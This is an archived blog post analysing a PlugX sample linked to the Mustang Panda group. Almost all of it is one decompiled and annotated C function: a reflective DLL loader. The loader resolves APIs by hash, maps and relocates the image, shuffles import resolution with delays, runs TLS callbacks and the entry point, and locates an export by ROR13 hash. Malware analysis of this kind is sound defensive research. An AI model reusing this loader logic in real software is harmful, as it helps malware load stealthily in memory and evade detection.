Diving into a PlugX sample of Mustang Panda group

Published: 2022-12-27 · Archived: 2026-04-05 22:56:51 UTC

```
int __cdecl plx_dll_loader( int pPlugxDllBaseAddr, _DWORD *pre_exportFuncHash, int export_arg1, int export_arg2, int export_arg3, unsigned int dwFlag)
{
  wstr_kernel32_dll[0] = 'k';
  wstr_kernel32_dll[1] = 'e';
  wstr_kernel32_dll[4] = 'e';
  wstr_kernel32_dll[6] = '3';
  wstr_kernel32_dll[7] = '2';
  wstr_kernel32_dll[8] = '.';
  LoadLibraryA = 0;
  VirtualAlloc = 0;
  FlushInstructionCache = 0;
  GetNativeSystemInfo = 0;
  VirtualProtect = 0;
  Sleep = 0;
  RtlAddFunctionTable = 0;
  wstr_kernel32_dll[2] = 'r';
  wstr_kernel32_dll[3] = 'n';
  wstr_kernel32_dll[5] = 'l';
  wstr_kernel32_dll[9] = 'd';
  wstr_kernel32_dll[0xA] = 'l';
  wstr_kernel32_dll[0xB] = 'l';
  qmemcpy(&apiFuncs, "Sleep", 5);
```

```
    qmemcpy(apiFuncs.wstr_LoadLibraryA, "LoadLibraryAVirtualProtect", 0x1A);
    qmemcpy(apiFuncs.wstr_VirtualAlloc, "VirtualAlloc", sizeof(apiFuncs.wstr_VirtualAlloc));
    qmemcpy(wstr_FlushInstructionCache, "FlushInstructionCache",
sizeof(wstr_FlushInstructionCache));
    qmemcpy(&wstr_GetNativeSystemInfo[1], "etNativeSystemInfo", 0x12);
    str_RtlAddFunctionTable[0x12] = 0x65;
    wstr_GetNativeSystemInfo[0] = 0x47;
    qmemcpy(str_RtlAddFunctionTable, "RtlAddFunctionTabl", 0x12);
    LdrLoadDll = plx_retrieve_api_from_hash(0xBDBF9C13);
    LdrGetProcedureAddress = plx_retrieve_api_from_hash(0x5ED941B5u);
    moduleInfo.Buffer = wstr_kernel32_dll;
    moduleInfo.MaximumLength = 0x18;
    moduleInfo.Length = 0x18;
    tmp_var.LdrGetProcedureAddress = LdrGetProcedureAddress;
    LdrLoadDll(0, 0, &moduleInfo, &dllHandle);
    apiName.Length = 12;
    apiName.Buffer = apiFuncs.wstr_VirtualAlloc;
    apiName.MaximumLength = 12;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &VirtualAlloc);
    apiName.Length = 14;
    apiName.MaximumLength = 14;
    apiName.Buffer = apiFuncs.wstr_VirtualProtect;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &VirtualProtect);
    apiName.Length = 21;
    apiName.MaximumLength = 21;
    apiName.Buffer = wstr_FlushInstructionCache;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &FlushInstructionCache);
```

```
    apiName.Length = 0x13;
    apiName.Buffer = wstr_GetNativeSystemInfo;
    apiName.MaximumLength = 0x13;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &GetNativeSystemInfo);
    apiName.Length = 5;
    apiName.MaximumLength = 5;
    apiName.Buffer = &apiFuncs;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &Sleep);
    apiName.Length = 0x13;
    apiName.Buffer = str_RtlAddFunctionTable;
    apiName.MaximumLength = 0x13;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &RtlAddFunctionTable);
    apiName.Length = 12;
    apiName.Buffer = apiFuncs.wstr_LoadLibraryA;
    apiName.MaximumLength = 12;
    LdrGetProcedureAddress(dllHandle.kernel32_handle, &apiName, 0, &LoadLibraryA);
    if ( !VirtualAlloc )
    {
      return FALSE;
    }
    if ( !VirtualProtect )
    {
      return FALSE;
    }
    if ( !Sleep )
    {
```

```
        return FALSE;
    }
    if ( !FlushInstructionCache )
    {
        return FALSE;
    }
    if ( !GetNativeSystemInfo )
    {
        return FALSE;
    }
    cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
    pPlugxDllNtHeaders = (pPlugxDllBaseAddr + *(pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER,
e_lfanew)));
    if ( pPlugxDllNtHeaders->Signature != IMAGE_NT_SIGNATURE )
    {
        return FALSE;
    }
    if ( pPlugxDllNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_I386 )
    {
        return FALSE;
    }
    plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders->OptionalHeader.SectionAlignment;
    if ( plxHeaderInfo.SectionAlignment & 1 )
    {
        return FALSE;
    }
    total_section_size = 0;
```

```
    num_of_sections = pPlugxDllNtHeaders->FileHeader.NumberOfSections;
    if ( pPlugxDllNtHeaders->FileHeader.NumberOfSections )
    {
      pPlugxSectionHeaders = (&pPlugxDllNtHeaders->OptionalHeader.SizeOfUninitializedData +
pPlugxDllNtHeaders->FileHeader.SizeOfOptionalHeader);
      do
      {
        if ( ADJ(pPlugxSectionHeaders)->SizeOfRawData )
        {
          plxHeaderInfo.SizeOfRawData = ADJ(pPlugxSectionHeaders)->SizeOfRawData;
        }
        section_size = ADJ(pPlugxSectionHeaders)->VirtualAddress + plxHeaderInfo.SizeOfRawData;
        if ( section_size <= total_section_size )
        {
          section_size = total_section_size;
        }
        pPlugxSectionHeaders += 0xA;
        total_section_size = section_size;
        plxHeaderInfo.SectionAlignment = pPlugxDllNtHeaders->OptionalHeader.SectionAlignment;
        --num_of_sections;
      }
      while ( num_of_sections );
      cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
    }
    GetNativeSystemInfo(&system_info);
    v15 = ~(system_info.dwPageSize - 1);
```

```
    plx_dllSizeOfImage = v15 & (pPlugxDllNtHeaders->OptionalHeader.SizeOfImage +
system_info.dwPageSize - 1);
    if ( plx_dllSizeOfImage != (v15 & (total_section_size + system_info.dwPageSize - 1)) )
    {
      return FALSE;
    }
    pPlugxNewBaseAddr = VirtualAlloc(pPlugxDllNtHeaders->OptionalHeader.ImageBase,
plx_dllSizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
    if ( !pPlugxNewBaseAddr )
    {
      pPlugxNewBaseAddr = VirtualAlloc(0, plx_dllSizeOfImage, MEM_RESERVE|MEM_COMMIT,
PAGE_READWRITE);
    }
    if ( dwFlag & 1 )
    {
      *(pPlugxNewBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew)) = *(cp_pPlugxDllBaseAddr +
offsetof(IMAGE_DOS_HEADER, e_lfanew));
      offset_from_e_lfanew = *(cp_pPlugxDllBaseAddr + offsetof(IMAGE_DOS_HEADER, e_lfanew));
      if ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders )
      {
        pPlugxNewNtHeaders = (pPlugxNewBaseAddr + offset_from_e_lfanew);
        do
        {
          ++offset_from_e_lfanew;
          LOBYTE(pPlugxNewNtHeaders->Signature) = *(&pPlugxNewNtHeaders->Signature +
cp_pPlugxDllBaseAddr - pPlugxNewBaseAddr);
          pPlugxNewNtHeaders = (pPlugxNewNtHeaders + 1);
        }
```

```
        while ( offset_from_e_lfanew < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders );
      }
    }
    else
    {
      for ( cnt = 0; cnt < pPlugxDllNtHeaders->OptionalHeader.SizeOfHeaders; ++pPlugxNewBaseAddr )
      {
        ++cnt;
        *pPlugxNewBaseAddr = *(pPlugxNewBaseAddr + cp_pPlugxDllBaseAddr - pPlugxNewBaseAddr);
      }
    }
    nTotalSectionCopied = 0;
    pPlugxNewNtHeaders = (pPlugxNewBaseAddr + *(pPlugxNewBaseAddr + offsetof(IMAGE_DOS_HEADER,
e_lfanew)));
    tmp_var2.nTotalSectionCopied = 0;
    if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
    {
      pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint +
pPlugxNewNtHeaders->FileHeader.SizeOfOptionalHeader);
      do
      {
        cnt = 0;
        if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )
        {
          do
          {
            *(pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress + cnt) = *(cnt
```

```
                                                                              +
ADJ(pPlugxNewSectionHeaders)->PointerToRawData
                                                                              +
cp_pPlugxDllBaseAddr);
            ++cnt;
          }
          while ( cnt < ADJ(pPlugxNewSectionHeaders)->SizeOfRawData );
          nTotalSectionCopied = tmp_var2.nTotalSectionCopied;
        }
        NumberOfSections = pPlugxNewNtHeaders->FileHeader.NumberOfSections;
        ++nTotalSectionCopied;
        pPlugxNewSectionHeaders += 0xA;
        tmp_var2.nTotalSectionCopied = nTotalSectionCopied;
      }
      while ( nTotalSectionCopied < NumberOfSections );
    }
    delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
    delta_offset = pPlugxNewBaseAddr - pPlugxNewNtHeaders->OptionalHeader.ImageBase;
    if ( delta_offset )
    {
      if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[5].Size )
      {
        relocation = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-
>OptionalHeader.DataDirectory[5].VirtualAddress);
        if ( relocation->VirtualAddress )
        {
          v29 = delta_offset;
```

```
          while ( 1 )
          {
            for ( ++relocation; relocation != (relocation + relocation->SizeOfBlock); relocation =
(relocation + 2) )
            {
              v31 = relocation->VirtualAddress;
              rel_type = LOWORD(relocation->VirtualAddress) >> 0xC;
              switch ( rel_type )
              {
                case IMAGE_DEBUG_TYPE_OMAP_FROM_SRC|IMAGE_DEBUG_TYPE_CODEVIEW:
                  v33 = relocation->VirtualAddress;
                  delta_offset = relocation->VirtualAddress & 0xFFF;
                  *(v33 + pPlugxNewBaseAddr + delta_offset) += v29;
                  continue ;
                case IMAGE_REL_BASED_HIGHLOW:
                  *(pPlugxNewBaseAddr + (v31 & 0xFFF) + relocation->VirtualAddress) += v29;
                  continue ;
                case IMAGE_REL_ALPHA_REFLONG:
                  v34 = v29 >> 0x10;
                  break ;
                case IMAGE_REL_PPC_ADDR32:
                  v34 = v29;
                  break ;
                default :
                  continue ;
              }
              *(pPlugxNewBaseAddr + (v31 & 0xFFF) + relocation->VirtualAddress) += v34;
```

```
            }
            if ( !relocation->VirtualAddress )
            {
              cp_pPlugxDllBaseAddr = pPlugxDllBaseAddr;
              break ;
            }
          }
        }
      }
    }
    if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].Size )
    {
      importTblRVA = pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress;
      nImportedDll = 0;
      cp_nDllImported = 0;
      pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
      pNameRVA = (importTblRVA + pPlugxNewBaseAddr + offsetof(IMAGE_IMPORT_DESCRIPTOR, Name));
      tmp_var_1.pPlugXNewImportDesc = (importTblRVA + pPlugxNewBaseAddr);
      if ( ADJ(pNameRVA)->Name )
      {
        do
        {
          pNameRVA += 5;
          ++nImportedDll;
        }
        while ( ADJ(pNameRVA)->Name );
```

```
        cp_nDllImported = nImportedDll;
      }
      delta_offset = 0;
      v102 = dwFlag & 4;
      importTblRVA_ = importTblRVA;
      if ( dwFlag & 4 && nImportedDll > 1 )
      {
        tmp_var2.pPlugXNewImportDesc = 0;
        delta_offset = dwFlag >> 0x10;
        nDll = nImportedDll - 1;
        i = 0;
        pPlugXNewImportDesc_ = (importTblRVA + pPlugxNewBaseAddr);
        do
        {
          pPlugxDllBaseAddra = 0x343FD * cp_pPlugxDllBaseAddr + 0x269EC3;
          v42 = &pPlugXNewImportDesc[i + (HIWORD(pPlugxDllBaseAddra) & 0x7FFFu) / (0x7FFF /
(nImportedDll - i) + 1)];
          ++i;
          qmemcpy(v109, v42, sizeof (v109));
          v43 = v42;
          nImportedDll = cp_nDllImported;
          qmemcpy(v43, pPlugXNewImportDesc_, sizeof (IMAGE_IMPORT_DESCRIPTOR));
          qmemcpy(pPlugXNewImportDesc_, v109, sizeof (IMAGE_IMPORT_DESCRIPTOR));
          cp_pPlugxDllBaseAddr = pPlugxDllBaseAddra;
          ++pPlugXNewImportDesc_;
          pPlugXNewImportDesc = tmp_var_1.pPlugXNewImportDesc;
        }
```

```
        while ( i < nDll );
        importTblRVA_ = pPlugxNewNtHeaders->OptionalHeader.DataDirectory[1].VirtualAddress;
    }
    tmp_var2.pPlugXNewImportDesc = (importTblRVA_ + pPlugxNewBaseAddr);
    dllNameRVA = *(importTblRVA_ + pPlugxNewBaseAddr + offsetof(IMAGE_IMPORT_DESCRIPTOR, Name));
    if ( dllNameRVA )
    {
      pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
      do
      {
        module_handle = LoadLibraryA((pPlugxNewBaseAddr + dllNameRVA));
        dllHandle.module_handle = module_handle;
        thunkRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->OriginalFirstThunk);
        funcRef = (pPlugxNewBaseAddr + pPlugXNewImportDesc->FirstThunk);
        thunkRefInfo = thunkRef->u1.AddressOfData;
        if ( thunkRef->u1.AddressOfData )
        {
          LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
          while ( TRUE )
          {
            if ( thunkRefInfo >= 0 )
            {
              len_str_apiName = 0;
              str_apiName = &thunkRefInfo->Name[pPlugxNewBaseAddr];
              tmp_var_1.str_apiName = str_apiName;
              if ( *str_apiName )
```

```
                {
                  do
                  {
                    ++len_str_apiName;
                    ++str_apiName;
                  }
                  while ( *str_apiName );
                  str_apiName = tmp_var_1.str_apiName;
                }
                apiName.Length = len_str_apiName;
                apiName.MaximumLength = len_str_apiName;
                apiName.Buffer = str_apiName;
                LdrGetProcedureAddress(module_handle, &apiName, 0, &funcRef->u1.Function);
              }
              else
              {
                LdrGetProcedureAddress(module_handle, 0, LOWORD(thunkRef->u1.AddressOfData),
&funcRef->u1.Function);
              }
              ++thunkRef;
              ++funcRef;
              thunkRefInfo = thunkRef->u1.AddressOfData;
              if ( !thunkRef->u1.AddressOfData )
              {
                break ;
              }
              module_handle = dllHandle.module_handle;
```

```
            }
            pPlugXNewImportDesc = tmp_var2.pPlugXNewImportDesc;
          }
          if ( delta_offset && v102 && cp_nDllImported > 1 )
          {
            Sleep(0x3E8 * delta_offset);
          }
          dllNameRVA = pPlugXNewImportDesc[1].Name;
          ++pPlugXNewImportDesc;
          tmp_var2.pPlugXNewImportDesc = pPlugXNewImportDesc;
        }
        while ( dllNameRVA );
      }
    }
    page_Protection = IMAGE_SCN_CNT_CODE;
    if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0xD].Size )
    {
      pDelayLoadDesc = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-
>OptionalHeader.DataDirectory[0xD].VirtualAddress + 4);
      tmp_var2.pdelayImportDesc = pDelayLoadDesc;
      DllNameRVA = ADJ(pDelayLoadDesc)->DllNameRVA;
      if ( DllNameRVA )
      {
        v56 = &ADJ(tmp_var2.pdelayImportDesc)->DllNameRVA;
        do
        {
          module_handle = LoadLibraryA((pPlugxNewBaseAddr + DllNameRVA));
```

```
dllHandle.module_handle = module_handle;
ImportAddressTableRVA = (pPlugxNewBaseAddr + ADJ(v56)->ImportAddressTableRVA);
ImportNameTableRVA = (pPlugxNewBaseAddr + ADJ(v56)->ImportNameTableRVA);
if ( ImportAddressTableRVA->u1.AddressOfData )
{
  LdrGetProcedureAddress = tmp_var.LdrGetProcedureAddress;
  while ( TRUE )
  {
    ImportNameRVA = ImportNameTableRVA->u1.AddressOfData;
    if ( (ImportNameTableRVA->u1.AddressOfData & 0x80000000) == 0 )
    {
      len_str_delayAPIName = 0;
      str_delayAPIName = &ImportNameRVA->Name[pPlugxNewBaseAddr];
      v102 = str_delayAPIName;
      if ( *str_delayAPIName )
      {
        do
        {
          ++len_str_delayAPIName;
          ++str_delayAPIName;
        }
        while ( *str_delayAPIName );
        str_delayAPIName = v102;
      }
      apiName.Length = len_str_delayAPIName;
      apiName.MaximumLength = len_str_delayAPIName;
```

```
                apiName.Buffer = str_delayAPIName;
                LdrGetProcedureAddress(module_handle, &apiName, 0, &ImportAddressTableRVA->u1.Function);
              }
              else
              {
                LdrGetProcedureAddress(module_handle, 0, ImportNameRVA, &ImportAddressTableRVA->u1.AddressOfData);
              }
              ++ImportAddressTableRVA;
              ++ImportNameTableRVA;
              if ( !ImportAddressTableRVA->u1.Function )
              {
                break ;
              }
              module_handle = dllHandle.module_handle;
            }
            v56 = &ADJ(tmp_var2.pdelayImportDesc)->DllNameRVA;
          }
          page_Protection = IMAGE_SCN_CNT_CODE;
          v56 += 8;
          tmp_var2.pdelayImportDesc = v56;
          DllNameRVA = ADJ(v56)->DllNameRVA;
        }
        while ( ADJ(v56)->DllNameRVA );
      }
    }
```

```
    cnt = 0;
    if ( pPlugxNewNtHeaders->FileHeader.NumberOfSections )
    {
      pPlugxNewSectionHeaders = (&pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint +
pPlugxNewNtHeaders->FileHeader.SizeOfOptionalHeader);
      do
      {
        if ( ADJ(pPlugxNewSectionHeaders)->SizeOfRawData )
        {
          sectionCharacteristics = ADJ(pPlugxNewSectionHeaders)->Characteristics;
          section_can_read = ADJ(pPlugxNewSectionHeaders)->Characteristics & IMAGE_SCN_MEM_READ;
          if ( sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE )
          {
            if ( section_can_read )
            {
              flNewProtect = IMAGE_SCN_CNT_INITIALIZED_DATA;
            }
            else
            {
              flNewProtect = IMAGE_SCN_CNT_UNINITIALIZED_DATA;
              page_Protection = 0x10;
            }
            if ( sectionCharacteristics >= 0 )
            {
              flNewProtect = page_Protection;
            }
          }
```

```
        else
        {
          if ( section_can_read )
          {
            flNewProtect = 4;
            page_protection = 2;
          }
          else
          {
            flNewProtect = IMAGE_SCN_TYPE_NO_PAD;
            page_protection = PAGE_NOACCESS;
          }
          if ( sectionCharacteristics >= 0 )
          {
            flNewProtect = page_protection;
          }
        }
        flOldProtect = flNewProtect;
        if ( ADJ(pPlugxNewSectionHeaders)->Characteristics & IMAGE_SCN_MEM_NOT_CACHED )
        {
          flNewProtect |= IMAGE_SCN_LNK_INFO;
          flOldProtect = flNewProtect;
        }
        VirtualProtect(
          (pPlugxNewBaseAddr + ADJ(pPlugxNewSectionHeaders)->VirtualAddress),
          ADJ(pPlugxNewSectionHeaders)->SizeOfRawData,
```

```
            flNewProtect,
            &flOldProtect);
        }
        ++cnt;
        pPlugxNewSectionHeaders += 0xA;
        page_Protection = IMAGE_SCN_CNT_CODE;
      }
      while ( cnt < pPlugxNewNtHeaders->FileHeader.NumberOfSections );
    }
    FlushInstructionCache(0xFFFFFFFF, 0, 0);
    if ( pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].Size )
    {
      tlsDir = *(pPlugxNewNtHeaders->OptionalHeader.DataDirectory[9].VirtualAddress +
pPlugxNewBaseAddr + 0xC);
      for ( tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks; ADJ(tlsDir)->AddressOfCallBacks;
tlsCallBackFunc = ADJ(tlsDir)->AddressOfCallBacks )
      {
        tlsCallBackFunc(pPlugxNewBaseAddr, 1, 0);
        ++tlsDir;
      }
    }
    ((pPlugxNewBaseAddr + pPlugxNewNtHeaders->OptionalHeader.AddressOfEntryPoint))(pPlugxNewBaseAddr,
1, 0);
    if ( !pre_exportFuncHash )
    {
      return pPlugxNewBaseAddr;
    }
```

```
    if ( !pPlugxNewNtHeaders->OptionalHeader.DataDirectory[0].Size )
    {
      return pPlugxNewBaseAddr;
    }
    exportDirRVA = (pPlugxNewBaseAddr + pPlugxNewNtHeaders-
>OptionalHeader.DataDirectory[offsetof(IMAGE_NT_HEADERS, Signature)].VirtualAddress);
    numExportedNames = exportDirRVA->NumberOfNames;
    if ( !numExportedNames )
    {
      return pPlugxNewBaseAddr;
    }
    if ( !exportDirRVA->NumberOfFunctions )
    {
      return pPlugxNewBaseAddr;
    }
    AddressOfNameOrdinalsRVA = exportDirRVA->AddressOfNameOrdinals;
    pNameAddressTbl = (pPlugxNewBaseAddr + exportDirRVA->AddressOfNames);
    tmp_var.dwExportHash = 0;
    pOrdinalsTbl = (pPlugxNewBaseAddr + AddressOfNameOrdinalsRVA);
    do
    {
      exportNameRVA = *pNameAddressTbl;
      tmp_var2.cnt = 0;
      str_exported_func = (pPlugxNewBaseAddr + exportNameRVA);
      if ( !str_exported_func )
      {
        break ;
```

```
    }
    chr = *str_exported_func;
    if ( *str_exported_func )
    {
      dwExportHash = tmp_var2.dwExportHash;
      do
      {
        dwExportHash = __ROR4__(chr + dwExportHash, 0xD);
        chr = *++str_exported_func;
      }
      while ( *str_exported_func );
      tmp_var2.dwExportHash = dwExportHash;
      numExportedNames = exportDirRVA->NumberOfNames;
      if ( pre_exportFuncHash == dwExportHash )
      {
        if ( pOrdinalsTbl )
        {
          exportFunc = (pPlugxNewBaseAddr + *(exportDirRVA->AddressOfFunctions + 4 * *pOrdinalsTbl
+ pPlugxNewBaseAddr));
          if ( dwFlag & 8 )
          {
            exportFunc(export_arg3, 4);
          }
          else
          {
            exportFunc(export_arg1, export_arg2);
          }
```

```
            return pPlugxNewBaseAddr;
          }
        }
      }
      ++pNameAddressTbl;
      ++pOrdinalsTbl;
      ++tmp_var.cnt;
    }
    while ( tmp_var.cnt < numExportedNames );
    return pPlugxNewBaseAddr;
}
```

Source: https://kienmanowar.wordpress.com/2022/12/27/diving-into-a-plugx-sample-of-mustang-panda-group/